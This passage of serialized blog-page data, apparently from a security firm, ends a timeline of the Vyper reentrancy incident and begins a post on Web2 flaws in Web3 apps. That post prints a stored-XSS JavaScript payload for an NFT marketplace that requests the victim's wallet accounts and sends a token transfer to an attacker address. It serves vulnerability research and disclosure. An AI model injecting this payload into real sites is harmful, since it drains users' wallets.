True\n",{"type":23,"tag":314,"props":29963,"children":29964},{"class":316,"line":1141},[29965],{"type":23,"tag":314,"props":29966,"children":29967},{"emptyLinePlaceholder":18},[29968],{"type":28,"value":1088},{"type":23,"tag":314,"props":29970,"children":29971},{"class":316,"line":1173},[29972],{"type":23,"tag":314,"props":29973,"children":29974},{"style":332},[29975],{"type":28,"value":29893},{"type":23,"tag":314,"props":29977,"children":29978},{"class":316,"line":1208},[29979,29983,29987,29991],{"type":23,"tag":314,"props":29980,"children":29981},{"style":332},[29982],{"type":28,"value":29901},{"type":23,"tag":314,"props":29984,"children":29985},{"style":338},[29986],{"type":28,"value":341},{"type":23,"tag":314,"props":29988,"children":29989},{"style":1245},[29990],{"type":28,"value":29910},{"type":23,"tag":314,"props":29992,"children":29993},{"style":338},[29994],{"type":28,"value":2414},{"type":23,"tag":314,"props":29996,"children":29997},{"class":316,"line":1216},[29998,30002,30007,30011,30015,30019,30023],{"type":23,"tag":314,"props":29999,"children":30000},{"style":321},[30001],{"type":28,"value":29922},{"type":23,"tag":314,"props":30003,"children":30004},{"style":332},[30005],{"type":28,"value":30006}," test2",{"type":23,"tag":314,"props":30008,"children":30009},{"style":338},[30010],{"type":28,"value":341},{"type":23,"tag":314,"props":30012,"children":30013},{"style":360},[30014],{"type":28,"value":29936},{"type":23,"tag":314,"props":30016,"children":30017},{"style":338},[30018],{"type":28,"value":29941},{"type":23,"tag":314,"props":30020,"children":30021},{"style":2674},[30022],{"type":28,"value":28934},{"type":23,"tag":314,"props":30024,"children":30025},{"style":338},[30026],{"type":28,"value":4822},{"type":23,"tag":314,"props":30028,"children":30029},{"class":316,"line":1301},[30030,30034],{"type":23,"tag":314,"props":30031,"children":30032},{"style":2284},[30033],{"type":28,"value":16228},{"type":23,"tag":314,"props":30035,"children":30036},{"style":321},[30037],{"type":28,"value":30038}," False\n",{"type":23,"tag":24,"props":30040,"children":30041},{},[30042],{"type":28,"value":30043},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":30045,"children":30046},{},[30047],{"type":28,"value":30048},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":30050,"children":30051},{},[30052,30057],{"type":23,"tag":721,"props":30053,"children":30054},{},[30055],{"type":28,"value":30056},"14:37 UTC",{"type":28,"value":30058}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":30060,"children":30061},{},[30062],{"type":23,"tag":197,"props":30063,"children":30065},{"alt":7,"src":30064},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":30067,"children":30068},{},[30069],{"type":28,"value":30070},"It was a race with the hackers.",{"type":23,"tag":24,"props":30072,"children":30073},{},[30074],{"type":28,"value":30075},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":2186,"props":30077,"children":30078},{},[30079],{"type":23,"tag":24,"props":30080,"children":30081},{},[30082,30084],{"type":28,"value":30083},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":31,"props":30085,"children":30088},{"href":30086,"rel":30087},"https://twitter.com/hexagate_/status/1685677801813217280",[35],[30089],{"type":28,"value":30086},{"type":23,"tag":24,"props":30091,"children":30092},{},[30093],{"type":28,"value":30094},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":30096,"children":30097},{},[30098,30103,30104,30111],{"type":23,"tag":721,"props":30099,"children":30100},{},[30101],{"type":28,"value":30102},"14:50 UTC",{"type":28,"value":5713},{"type":23,"tag":31,"props":30105,"children":30108},{"href":30106,"rel":30107},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[35],[30109],{"type":28,"value":30110},"msETH/ETH was drained",{"type":28,"value":282},{"type":23,"tag":24,"props":30113,"children":30114},{},[30115,30120,30121,30128],{"type":23,"tag":721,"props":30116,"children":30117},{},[30118],{"type":28,"value":30119},"15:34 UTC",{"type":28,"value":5713},{"type":23,"tag":31,"props":30122,"children":30125},{"href":30123,"rel":30124},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[35],[30126],{"type":28,"value":30127},"alETH/ETH was drained",{"type":28,"value":282},{"type":23,"tag":24,"props":30130,"children":30131},{},[30132,30137,30139,30146],{"type":23,"tag":721,"props":30133,"children":30134},{},[30135],{"type":28,"value":30136},"15:43 UTC",{"type":28,"value":30138}," We identified that ",{"type":23,"tag":31,"props":30140,"children":30143},{"href":30141,"rel":30142},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[35],[30144],{"type":28,"value":30145},"CRV/ETH was vulnerable",{"type":28,"value":30147},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":30149,"children":30150},{},[30151,30156],{"type":23,"tag":721,"props":30152,"children":30153},{},[30154],{"type":28,"value":30155},"16:11 UTC",{"type":28,"value":30157}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":30159,"children":30160},{},[30161,30163,30170],{"type":28,"value":30162},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":31,"props":30164,"children":30167},{"href":30165,"rel":30166},"https://twitter.com/vyperlang/status/1685692973051498497",[35],[30168],{"type":28,"value":30169},"public statement on affected versions",{"type":28,"value":282},{"type":23,"tag":24,"props":30172,"children":30173},{},[30174],{"type":28,"value":30175},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":30177,"children":30178},{},[30179,30181,30188],{"type":28,"value":30180},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":31,"props":30182,"children":30185},{"href":30183,"rel":30184},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[35],[30186],{"type":28,"value":30187},"somebody else stole the funds",{"type":28,"value":282},{"type":23,"tag":24,"props":30190,"children":30191},{},[30192],{"type":28,"value":30193},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":30195,"children":30196},{},[30197],{"type":28,"value":30198},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":30200,"children":30201},{},[30202,30207],{"type":23,"tag":721,"props":30203,"children":30204},{},[30205],{"type":28,"value":30206},"21:26 UTC",{"type":28,"value":30208}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":2186,"props":30210,"children":30211},{},[30212],{"type":23,"tag":24,"props":30213,"children":30214},{},[30215,30217,30221,30223,30226,30228,30231,30233],{"type":28,"value":30216},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":30218,"props":30219,"children":30220},"br",{},[],{"type":28,"value":30222},"\nyou can then update admin fee ",{"type":23,"tag":30218,"props":30224,"children":30225},{},[],{"type":28,"value":30227},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":30218,"props":30229,"children":30230},{},[],{"type":28,"value":30232},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":30218,"props":30234,"children":30235},{},[],{"type":23,"tag":24,"props":30237,"children":30238},{},[30239,30244],{"type":23,"tag":721,"props":30240,"children":30241},{},[30242],{"type":28,"value":30243},"21:52 UTC",{"type":28,"value":30245}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":30247,"children":30248},{},[30249,30251,30258,30260,30267,30275],{"type":28,"value":30250},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":31,"props":30252,"children":30255},{"href":30253,"rel":30254},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[35],[30256],{"type":28,"value":30257},"CRV admin fee bot",{"type":28,"value":30259}," had claimed fees and ",{"type":23,"tag":31,"props":30261,"children":30264},{"href":30262,"rel":30263},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[35],[30265],{"type":28,"value":30266},"the pool was drained",{"type":23,"tag":14716,"props":30268,"children":30269},{},[30270],{"type":23,"tag":31,"props":30271,"children":30273},{"href":28872,"ariaDescribedBy":30272,"dataFootnoteRef":7,"id":28874},[14723],[30274],{"type":28,"value":3267},{"type":28,"value":282},{"type":23,"tag":61,"props":30277,"children":30279},{"id":30278},"blame",[30280],{"type":28,"value":30281},"Blame",{"type":23,"tag":24,"props":30283,"children":30284},{},[30285,30289],{"type":23,"tag":186,"props":30286,"children":30287},{},[30288],{"type":28,"value":30281},{"type":28,"value":30290}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":837,"props":30292,"children":30294},{"id":30293},"races",[30295],{"type":28,"value":30296},"Races",{"type":23,"tag":24,"props":30298,"children":30299},{},[30300],{"type":28,"value":30301},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":30303,"children":30304},{},[30305],{"type":28,"value":30306},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":30308,"children":30309},{},[30310],{"type":28,"value":30311},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":837,"props":30313,"children":30315},{"id":30314},"information-leakage",[30316],{"type":28,"value":30317},"Information Leakage",{"type":23,"tag":24,"props":30319,"children":30320},{},[30321],{"type":28,"value":30322},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":30324,"children":30325},{},[30326,30328,30335],{"type":28,"value":30327},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":31,"props":30329,"children":30332},{"href":30330,"rel":30331},"https://twitter.com/osec_io/status/1579969927020412929",[35],[30333],{"type":28,"value":30334},"by publishing the \"scoop\"",{"type":28,"value":30336}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":30338,"children":30339},{},[30340],{"type":28,"value":30341},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":30343,"children":30344},{},[30345],{"type":28,"value":30346},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":30348,"children":30349},{},[30350],{"type":28,"value":30351},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":61,"props":30353,"children":30355},{"id":30354},"next-steps",[30356],{"type":28,"value":30357},"Next Steps",{"type":23,"tag":24,"props":30359,"children":30360},{},[30361],{"type":28,"value":30362},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":30364,"children":30365},{},[30366,30368,30375],{"type":28,"value":30367},"It's important to note that this bug ",{"type":23,"tag":31,"props":30369,"children":30372},{"href":30370,"rel":30371},"https://twitter.com/real_philogy/status/1685948253139857409",[35],[30373],{"type":28,"value":30374},"was patched since November 2021",{"type":28,"value":282},{"type":23,"tag":2186,"props":30377,"children":30378},{},[30379],{"type":23,"tag":24,"props":30380,"children":30381},{},[30382,30384,30389,30390,30393,30395,30400],{"type":28,"value":30383},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":186,"props":30385,"children":30386},{},[30387],{"type":28,"value":30388},"processes",{"type":28,"value":17770},{"type":23,"tag":30218,"props":30391,"children":30392},{},[],{"type":28,"value":30394},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":186,"props":30396,"children":30397},{},[30398],{"type":28,"value":30399},"was",{"type":28,"value":30401}," fixed.",{"type":23,"tag":24,"props":30403,"children":30404},{},[30405],{"type":28,"value":30406},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":17660,"props":30408,"children":30410},{"className":30409,"dataFootnotes":7},[17663],[30411,30416],{"type":23,"tag":61,"props":30412,"children":30414},{"className":30413,"id":14723},[17668],[30415],{"type":28,"value":17671},{"type":23,"tag":84,"props":30417,"children":30418},{},[30419],{"type":23,"tag":88,"props":30420,"children":30421},{"id":29615},[30422,30424],{"type":28,"value":30423},"Thankfully, these funds were later returned. ",{"type":23,"tag":31,"props":30425,"children":30427},{"href":29643,"ariaLabel":17774,"className":30426,"dataFootnoteBackref":7},[17776],[30428],{"type":28,"value":17779},{"type":23,"tag":2096,"props":30430,"children":30431},{},[30432],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":30434},[30435,30436,30440,30441],{"id":29710,"depth":370,"text":29713},{"id":30278,"depth":370,"text":30281,"children":30437},[30438,30439],{"id":30293,"depth":380,"text":30296},{"id":30314,"depth":380,"text":30317},{"id":30354,"depth":370,"text":30357},{"id":14723,"depth":370,"text":17671},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":30446,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30447,"description":30448,"author":30449,"image":30452,"date":30454,"isFeatured":18,"tags":30455,"onBlogPage":18,"body":30458,"_type":2117,"_id":34667,"_source":2119,"_file":34668,"_stem":34669,"_extension":2122},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[30450,30451],"caue","bruno",{"src":30453,"height":12871,"width":12871},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[30456,30457],"nft-marketplaces","xss",{"type":20,"children":30459,"toc":34650},[30460,30464,30469,30473,30478,30483,30488,30504,30510,30523,30545,30552,30557,30564,30569,30575,30580,30585,30590,30595,30604,30609,31577,31587,31599,31606,31611,32433,32438,32443,32448,32453,33237,33242,33324,33329,33398,33404,33409,33414,33641,33654,33659,33664,33669,33676,33681,33688,33694,33699,33704,33709,34028,34033,34039,34055,34061,34066,34071,34081,34086,34091,34100,34105,34111,34127,34140,34145,34150,34170,34177,34182,34189,34198,34203,34224,34277,34282,34333,34347,34352,34366,34481,34504,34588,34611,34616,34621,34625,34630,34635,34641,34646],{"type":23,"tag":61,"props":30461,"children":30462},{"id":28263},[30463],{"type":28,"value":28266},{"type":23,"tag":24,"props":30465,"children":30466},{},[30467],{"type":28,"value":30468},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":837,"props":30470,"children":30471},{"id":2171},[30472],{"type":28,"value":2174},{"type":23,"tag":24,"props":30474,"children":30475},{},[30476],{"type":28,"value":30477},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":30479,"children":30480},{},[30481],{"type":28,"value":30482},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":61,"props":30484,"children":30485},{"id":30457},[30486],{"type":28,"value":30487},"XSS",{"type":23,"tag":24,"props":30489,"children":30490},{},[30491],{"type":23,"tag":186,"props":30492,"children":30493},{},[30494,30496,30503],{"type":28,"value":30495},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":31,"props":30497,"children":30500},{"href":30498,"rel":30499},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[35],[30501],{"type":28,"value":30502},"even explain it to myself",{"type":28,"value":282},{"type":23,"tag":837,"props":30505,"children":30507},{"id":30506},"managing-metadata",[30508],{"type":28,"value":30509},"Managing Metadata",{"type":23,"tag":24,"props":30511,"children":30512},{},[30513,30515,30522],{"type":28,"value":30514},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":31,"props":30516,"children":30519},{"href":30517,"rel":30518},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[35],[30520],{"type":28,"value":30521},"payloads",{"type":28,"value":282},{"type":23,"tag":24,"props":30524,"children":30525},{},[30526,30528,30535,30537,30543],{"type":28,"value":30527},"We showcase this vulnerability in the ",{"type":23,"tag":31,"props":30529,"children":30532},{"href":30530,"rel":30531},"https://rocki.com/",[35],[30533],{"type":28,"value":30534},"Rocki Marketplace",{"type":28,"value":30536},". The ",{"type":23,"tag":94,"props":30538,"children":30540},{"className":30539},[],[30541],{"type":28,"value":30542},"artistDescription",{"type":28,"value":30544}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":30546,"children":30547},{},[30548],{"type":23,"tag":197,"props":30549,"children":30551},{"alt":7,"src":30550},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":30553,"children":30554},{},[30555],{"type":28,"value":30556},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":30558,"children":30559},{},[30560],{"type":23,"tag":197,"props":30561,"children":30563},{"alt":7,"src":30562},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":30565,"children":30566},{},[30567],{"type":28,"value":30568},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":837,"props":30570,"children":30572},{"id":30571},"wheres-my-wallet",[30573],{"type":28,"value":30574},"Where's My Wallet",{"type":23,"tag":24,"props":30576,"children":30577},{},[30578],{"type":28,"value":30579},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":30581,"children":30582},{},[30583],{"type":28,"value":30584},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":30586,"children":30587},{},[30588],{"type":28,"value":30589},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":30591,"children":30592},{},[30593],{"type":28,"value":30594},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":192,"props":30596,"children":30597},{"style":194},[30598],{"type":23,"tag":197,"props":30599,"children":30603},{"src":30600,"alt":30601,"style":30602},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":30605,"children":30606},{},[30607],{"type":28,"value":30608},"And here we can find the code used to achieve it :",{"type":23,"tag":304,"props":30610,"children":30614},{"className":30611,"code":30612,"language":30613,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[30615],{"type":23,"tag":94,"props":30616,"children":30617},{"__ignoreMap":7},[30618,30635,30680,30709,30725,30788,30822,30847,30872,30879,30899,30907,30923,30935,30943,30960,30977,30985,30992,31008,31024,31031,31039,31056,31068,31075,31091,31107,31114,31121,31138,31145,31153,31160,31207,31214,31278,31285,31305,31321,31337,31358,31429,31445,31452,31459,31497,31505,31512,31519,31526,31547],{"type":23,"tag":314,"props":30619,"children":30620},{"class":316,"line":317},[30621,30626,30631],{"type":23,"tag":314,"props":30622,"children":30623},{"style":321},[30624],{"type":28,"value":30625},"function",{"type":23,"tag":314,"props":30627,"children":30628},{"style":332},[30629],{"type":28,"value":30630}," request",{"type":23,"tag":314,"props":30632,"children":30633},{"style":338},[30634],{"type":28,"value":14977},{"type":23,"tag":314,"props":30636,"children":30637},{"class":316,"line":370},[30638,30643,30647,30652,30657,30661,30666,30671,30676],{"type":23,"tag":314,"props":30639,"children":30640},{"style":2284},[30641],{"type":28,"value":30642}," if",{"type":23,"tag":314,"props":30644,"children":30645},{"style":338},[30646],{"type":28,"value":2324},{"type":23,"tag":314,"props":30648,"children":30649},{"style":321},[30650],{"type":28,"value":30651},"typeof",{"type":23,"tag":314,"props":30653,"children":30654},{"style":360},[30655],{"type":28,"value":30656}," window",{"type":23,"tag":314,"props":30658,"children":30659},{"style":338},[30660],{"type":28,"value":282},{"type":23,"tag":314,"props":30662,"children":30663},{"style":360},[30664],{"type":28,"value":30665},"ethereum",{"type":23,"tag":314,"props":30667,"children":30668},{"style":354},[30669],{"type":28,"value":30670}," ===",{"type":23,"tag":314,"props":30672,"children":30673},{"style":1245},[30674],{"type":28,"value":30675}," 'undefined'",{"type":23,"tag":314,"props":30677,"children":30678},{"style":338},[30679],{"type":28,"value":367},{"type":23,"tag":314,"props":30681,"children":30682},{"class":316,"line":380},[30683,30688,30692,30696,30700,30705],{"type":23,"tag":314,"props":30684,"children":30685},{"style":360},[30686],{"type":28,"value":30687}," console",{"type":23,"tag":314,"props":30689,"children":30690},{"style":338},[30691],{"type":28,"value":282},{"type":23,"tag":314,"props":30693,"children":30694},{"style":332},[30695],{"type":28,"value":14106},{"type":23,"tag":314,"props":30697,"children":30698},{"style":338},[30699],{"type":28,"value":341},{"type":23,"tag":314,"props":30701,"children":30702},{"style":1245},[30703],{"type":28,"value":30704},"'Please install MetaMask to use this feature.'",{"type":23,"tag":314,"props":30706,"children":30707},{"style":338},[30708],{"type":28,"value":1025},{"type":23,"tag":314,"props":30710,"children":30711},{"class":316,"line":1091},[30712,30717,30721],{"type":23,"tag":314,"props":30713,"children":30714},{"style":338},[30715],{"type":28,"value":30716}," } ",{"type":23,"tag":314,"props":30718,"children":30719},{"style":2284},[30720],{"type":28,"value":2570},{"type":23,"tag":314,"props":30722,"children":30723},{"style":338},[30724],{"type":28,"value":1449},{"type":23,"tag":314,"props":30726,"children":30727},{"class":316,"line":1141},[30728,30733,30737,30742,30747,30752,30757,30762,30767,30772,30776,30780,30784],{"type":23,"tag":314,"props":30729,"children":30730},{"style":360},[30731],{"type":28,"value":30732}," ethereum",{"type":23,"tag":314,"props":30734,"children":30735},{"style":338},[30736],{"type":28,"value":282},{"type":23,"tag":314,"props":30738,"children":30739},{"style":332},[30740],{"type":28,"value":30741},"request",{"type":23,"tag":314,"props":30743,"children":30744},{"style":338},[30745],{"type":28,"value":30746},"({ ",{"type":23,"tag":314,"props":30748,"children":30749},{"style":360},[30750],{"type":28,"value":30751},"method:",{"type":23,"tag":314,"props":30753,"children":30754},{"style":1245},[30755],{"type":28,"value":30756}," 'eth_requestAccounts'",{"type":23,"tag":314,"props":30758,"children":30759},{"style":338},[30760],{"type":28,"value":30761}," }).",{"type":23,"tag":314,"props":30763,"children":30764},{"style":332},[30765],{"type":28,"value":30766},"then",{"type":23,"tag":314,"props":30768,"children":30769},{"style":338},[30770],{"type":28,"value":30771},"((",{"type":23,"tag":314,"props":30773,"children":30774},{"style":360},[30775],{"type":28,"value":238},{"type":23,"tag":314,"props":30777,"children":30778},{"style":338},[30779],{"type":28,"value":2343},{"type":23,"tag":314,"props":30781,"children":30782},{"style":321},[30783],{"type":28,"value":14064},{"type":23,"tag":314,"props":30785,"children":30786},{"style":338},[30787],{"type":28,"value":1449},{"type":23,"tag":314,"props":30789,"children":30790},{"class":316,"line":1173},[30791,30796,30801,30805,30810,30814,30818],{"type":23,"tag":314,"props":30792,"children":30793},{"style":321},[30794],{"type":28,"value":30795}," const",{"type":23,"tag":314,"props":30797,"children":30798},{"style":360},[30799],{"type":28,"value":30800}," fromAddress",{"type":23,"tag":314,"props":30802,"children":30803},{"style":354},[30804],{"type":28,"value":1237},{"type":23,"tag":314,"props":30806,"children":30807},{"style":360},[30808],{"type":28,"value":30809}," accounts",{"type":23,"tag":314,"props":30811,"children":30812},{"style":338},[30813],{"type":28,"value":1312},{"type":23,"tag":314,"props":30815,"children":30816},{"style":1054},[30817],{"type":28,"value":1600},{"type":23,"tag":314,"props":30819,"children":30820},{"style":338},[30821],{"type":28,"value":2005},{"type":23,"tag":314,"props":30823,"children":30824},{"class":316,"line":1208},[30825,30829,30834,30838,30843],{"type":23,"tag":314,"props":30826,"children":30827},{"style":321},[30828],{"type":28,"value":30795},{"type":23,"tag":314,"props":30830,"children":30831},{"style":360},[30832],{"type":28,"value":30833}," attackerAddress",{"type":23,"tag":314,"props":30835,"children":30836},{"style":354},[30837],{"type":28,"value":1237},{"type":23,"tag":314,"props":30839,"children":30840},{"style":1245},[30841],{"type":28,"value":30842}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":314,"props":30844,"children":30845},{"style":338},[30846],{"type":28,"value":2278},{"type":23,"tag":314,"props":30848,"children":30849},{"class":316,"line":1216},[30850,30854,30859,30863,30868],{"type":23,"tag":314,"props":30851,"children":30852},{"style":321},[30853],{"type":28,"value":30795},{"type":23,"tag":314,"props":30855,"children":30856},{"style":360},[30857],{"type":28,"value":30858}," contractAddress",{"type":23,"tag":314,"props":30860,"children":30861},{"style":354},[30862],{"type":28,"value":1237},{"type":23,"tag":314,"props":30864,"children":30865},{"style":1245},[30866],{"type":28,"value":30867}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":314,"props":30869,"children":30870},{"style":338},[30871],{"type":28,"value":2278},{"type":23,"tag":314,"props":30873,"children":30874},{"class":316,"line":1301},[30875],{"type":23,"tag":314,"props":30876,"children":30877},{"emptyLinePlaceholder":18},[30878],{"type":28,"value":1088},{"type":23,"tag":314,"props":30880,"children":30881},{"class":316,"line":1343},[30882,30886,30891,30895],{"type":23,"tag":314,"props":30883,"children":30884},{"style":321},[30885],{"type":28,"value":7330},{"type":23,"tag":314,"props":30887,"children":30888},{"style":360},[30889],{"type":28,"value":30890}," tokenAbi",{"type":23,"tag":314,"props":30892,"children":30893},{"style":354},[30894],{"type":28,"value":1237},{"type":23,"tag":314,"props":30896,"children":30897},{"style":338},[30898],{"type":28,"value":24867},{"type":23,"tag":314,"props":30900,"children":30901},{"class":316,"line":1351},[30902],{"type":23,"tag":314,"props":30903,"children":30904},{"style":338},[30905],{"type":28,"value":30906}," {\n",{"type":23,"tag":314,"props":30908,"children":30909},{"class":316,"line":1387},[30910,30915,30919],{"type":23,"tag":314,"props":30911,"children":30912},{"style":360},[30913],{"type":28,"value":30914}," constant:",{"type":23,"tag":314,"props":30916,"children":30917},{"style":321},[30918],{"type":28,"value":8309},{"type":23,"tag":314,"props":30920,"children":30921},{"style":338},[30922],{"type":28,"value":1870},{"type":23,"tag":314,"props":30924,"children":30925},{"class":316,"line":1422},[30926,30931],{"type":23,"tag":314,"props":30927,"children":30928},{"style":360},[30929],{"type":28,"value":30930}," inputs:",{"type":23,"tag":314,"props":30932,"children":30933},{"style":338},[30934],{"type":28,"value":24867},{"type":23,"tag":314,"props":30936,"children":30937},{"class":316,"line":1430},[30938],{"type":23,"tag":314,"props":30939,"children":30940},{"style":338},[30941],{"type":28,"value":30942}," {\n",{"type":23,"tag":314,"props":30944,"children":30945},{"class":316,"line":1452},[30946,30951,30956],{"type":23,"tag":314,"props":30947,"children":30948},{"style":360},[30949],{"type":28,"value":30950}," name:",{"type":23,"tag":314,"props":30952,"children":30953},{"style":1245},[30954],{"type":28,"value":30955}," '_to'",{"type":23,"tag":314,"props":30957,"children":30958},{"style":338},[30959],{"type":28,"value":1870},{"type":23,"tag":314,"props":30961,"children":30962},{"class":316,"line":1497},[30963,30968,30973],{"type":23,"tag":314,"props":30964,"children":30965},{"style":360},[30966],{"type":28,"value":30967}," type:",{"type":23,"tag":314,"props":30969,"children":30970},{"style":1245},[30971],{"type":28,"value":30972}," 'address'",{"type":23,"tag":314,"props":30974,"children":30975},{"style":338},[30976],{"type":28,"value":1870},{"type":23,"tag":314,"props":30978,"children":30979},{"class":316,"line":1539},[30980],{"type":23,"tag":314,"props":30981,"children":30982},{"style":338},[30983],{"type":28,"value":30984}," 